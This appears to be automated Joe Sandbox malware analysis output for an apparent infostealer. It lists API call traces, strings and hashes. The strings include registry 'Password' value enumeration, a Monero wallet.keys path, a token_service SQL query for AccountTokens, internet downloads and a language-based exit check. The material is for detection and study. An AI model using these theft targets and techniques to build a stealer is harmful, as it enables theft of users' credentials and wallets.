Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00DEDF20,00000000,?,00FD0E2C,00000000,?,00000000), ref: 00FC8130
RtlAllocateHeap.NTDLL(00000000), ref: 00FC8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00FC8158
__aulldiv.LIBCMT ref: 00FC8172
__aulldiv.LIBCMT ref: 00FC8180
wsprintfA.USER32 ref: 00FC81AC

Strings

@, xrefs: 00FC814D
%d MB, xrefs: 00FC81A3

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: c77d5160bdd87b00ed9b2e92be8bd04c36e70186c9c0c0825b934167462c6028
Instruction ID: 00f8227bec764aa5c044994e60427cfc4bdd326b9b026d8d146876532eb5f935
Opcode Fuzzy Hash: c77d5160bdd87b00ed9b2e92be8bd04c36e70186c9c0c0825b934167462c6028
Instruction Fuzzy Hash: 5F218CB1E44209ABDB14DFD4DD4AFAEB7B8FB44B10F10421DF615BB280D778A9018BA5

Function 00FB60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

InternetOpenA.WININET(00FD0DF7,00000001,00000000,00000000,00000000), ref: 00FB610F
StrCmpCA.SHLWAPI(?,00DEEA08), ref: 00FB6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00FB618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00FB61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00FB61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FB620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00FB6249
InternetCloseHandle.WININET(?), ref: 00FB6253
InternetCloseHandle.WININET(00000000), ref: 00FB6260

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 4541cf59bd92c7ac95b667c4b480d551da3a26fcc99383abbaa8b3b80e1910f7
Instruction ID: b65d145182a00c5ee008aadc94df76d73bf74b2ba94291cc5c644902d26f0fb9
Opcode Fuzzy Hash: 4541cf59bd92c7ac95b667c4b480d551da3a26fcc99383abbaa8b3b80e1910f7
Instruction Fuzzy Hash: C8518EB1900208ABEF24DF51DD45FEE77B8FF04705F1081A8A60AA71C0DB796A85DF95

Function 00FB72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FB733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FB73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FB740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00FB7452
HeapFree.KERNEL32(00000000), ref: 00FB7459
task.LIBCPMTD ref: 00FB7555

Strings

Password, xrefs: 00FB7401

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: b66d33c03dbe9038ace781819b2810ee292cef585972a13295d1919912a2a705
Instruction ID: ca6c004be3d4bf12ed9d75d0622ae9f63c8de8e69a5327280ad10a2a78b4ee86
Opcode Fuzzy Hash: b66d33c03dbe9038ace781819b2810ee292cef585972a13295d1919912a2a705
Instruction Fuzzy Hash: 70613BB5D04218DBDB24EB51DC41BDAB7BCBF84340F0481E9E649A6141DBB46BCADFA0

Function 00FBBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

lstrlen.KERNEL32(00000000), ref: 00FBBC9F

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00FBBCCD
lstrlen.KERNEL32(00000000), ref: 00FBBDA5
lstrlen.KERNEL32(00000000), ref: 00FBBDB9

Strings

AccountTokens, xrefs: 00FBBABA
SELECT service, encrypted_token FROM token_service, xrefs: 00FBBBEB
AccountTokens, xrefs: 00FBBB49
AccountId, xrefs: 00FBBCC4

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: fb89c1da0a3f09ae4bb1f766bb2946b1b60dede075dd9da8260d59b979a47bd9
Instruction ID: a51ce2b73a4cf7ebe56c2d20a99202afffab2bc7b50eb761c0f66ca3273cba1f
Opcode Fuzzy Hash: fb89c1da0a3f09ae4bb1f766bb2946b1b60dede075dd9da8260d59b979a47bd9
Instruction Fuzzy Hash: 78B13C7191010DABDB18EBA0DE97EEE7339AF54304F40416DF506A2191EF387A49EB62

Function 00FC6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00FC6774
ExitProcess.KERNEL32 ref: 00FC67A5
ExitProcess.KERNEL32 ref: 00FC67AF
ExitProcess.KERNEL32 ref: 00FC67B9
ExitProcess.KERNEL32 ref: 00FC67C3
ExitProcess.KERNEL32 ref: 00FC67CD

Strings

*, xrefs: 00FC678C

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b6794f2f294954c878756eb2de0bb20f6e40f75ada013123eab3e499736f3f08
Instruction ID: bf75e267b24a55d6e94fc4aaaad23d767657d932b734e71f4e980dfafb790b36
Opcode Fuzzy Hash: b6794f2f294954c878756eb2de0bb20f6e40f75ada013123eab3e499736f3f08
Instruction Fuzzy Hash: 81F03A30908209EFD3589FE0B50AF2C7B74FF05703F0402ACE61A87284DA795A829BD5

Function 00FB4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FB4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00FB4FD1
InternetOpenA.WININET(00FD0DDF,00000000,00000000,00000000,00000000), ref: 00FB4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00FB5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00FB5041
InternetCloseHandle.WININET(?), ref: 00FB50B9
InternetCloseHandle.WININET(?), ref: 00FB50C6

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 0d4131acf83250e7fe4ee9a6e87f334f2e9f93060b26cf9c1f800ea1f957dbaa
Instruction ID: 75b6650f796c219e3f8e6668744a7d1a6a13765bea0bcb3780d55d2da0c441e5
Opcode Fuzzy Hash: 0d4131acf83250e7fe4ee9a6e87f334f2e9f93060b26cf9c1f800ea1f957dbaa
Instruction Fuzzy Hash: BD3127B5A00218ABCB24DF54DC85BDCB7B4EB48704F1081E9EB09A7284CB746EC59F98

Function 00FC83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FC8426
wsprintfA.USER32 ref: 00FC8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00FC847B
RegCloseKey.ADVAPI32(00000000), ref: 00FC848C
RegCloseKey.ADVAPI32(00000000), ref: 00FC8499

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

RegQueryValueExA.ADVAPI32(00000000,00DEDE90,00000000,000F003F,?,00000400), ref: 00FC84EC
lstrlen.KERNEL32(?), ref: 00FC8501
RegQueryValueExA.ADVAPI32(00000000,00DEDD58,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00FD0B34), ref: 00FC8599
RegCloseKey.ADVAPI32(00000000), ref: 00FC8608
RegCloseKey.ADVAPI32(00000000), ref: 00FC861A

Strings

%s\%s, xrefs: 00FC844D

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 6e79f133d0271ac4b03d537eae4a36bb6873edd220c28fbc7d9adb41f3eb977e
Instruction ID: a0f56f12b7bafc7a6723ede84cd0815d23656aed3b10fdc6d536dc5ab5ac88c8
Opcode Fuzzy Hash: 6e79f133d0271ac4b03d537eae4a36bb6873edd220c28fbc7d9adb41f3eb977e
Instruction Fuzzy Hash: F321F671900218ABDB28DB54DD85FE9B3B8FF48710F0081A9A609A7180DF75AA86DF94

Function 00FC7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00FC76AB
RegOpenKeyExA.ADVAPI32(80000002,00DDBCE0,00000000,00020119,00000000), ref: 00FC76DD
RegQueryValueExA.ADVAPI32(00000000,00DEDF50,00000000,00000000,?,000000FF), ref: 00FC76FE
RegCloseKey.ADVAPI32(00000000), ref: 00FC7708

Strings

Windows 11, xrefs: 00FC76BD

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 75b613ee5e58426824e5107e93271ce694a4564e5babf4d62aa56dde8f58a476
Instruction ID: b1cde68706288d3a1ac3c1337e2e66bc3273b450f7a8a01b84dc80f77cb100a5
Opcode Fuzzy Hash: 75b613ee5e58426824e5107e93271ce694a4564e5babf4d62aa56dde8f58a476
Instruction Fuzzy Hash: 2B018FB5A04309BBD714EBE0E94AF69B7B8EF48701F00406CFA19D7284D6B8A9409F50

Function 00FC7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7734
RtlAllocateHeap.NTDLL(00000000), ref: 00FC773B
RegOpenKeyExA.ADVAPI32(80000002,00DDBCE0,00000000,00020119,00FC76B9), ref: 00FC775B
RegQueryValueExA.ADVAPI32(00FC76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00FC777A
RegCloseKey.ADVAPI32(00FC76B9), ref: 00FC7784

Strings

CurrentBuildNumber, xrefs: 00FC7771

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: fae3a863ae4e7840138d1a73af95a7e73b391f07716f227c5717ea9ff7f39994
Instruction ID: fda3c497a9e31a172258c22a7ec3b588f8c14ddf4bbdc89e07348c5728351167
Opcode Fuzzy Hash: fae3a863ae4e7840138d1a73af95a7e73b391f07716f227c5717ea9ff7f39994
Instruction Fuzzy Hash: 1F0144B5A40308BBD714DBE0EC4AFAEB7B8EF48701F00416DFA19A7285DAB565408B51

Function 00FB99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7ee98bfbb9c8651efb1669a9693e4432d7089b52c4d57a15c30d65af3cd732dc
Instruction ID: 43a6e8938df574d92546ac7bce625e0e450e6e1e46110fc13c804e3c9ddeb89c
Opcode Fuzzy Hash: 7ee98bfbb9c8651efb1669a9693e4432d7089b52c4d57a15c30d65af3cd732dc
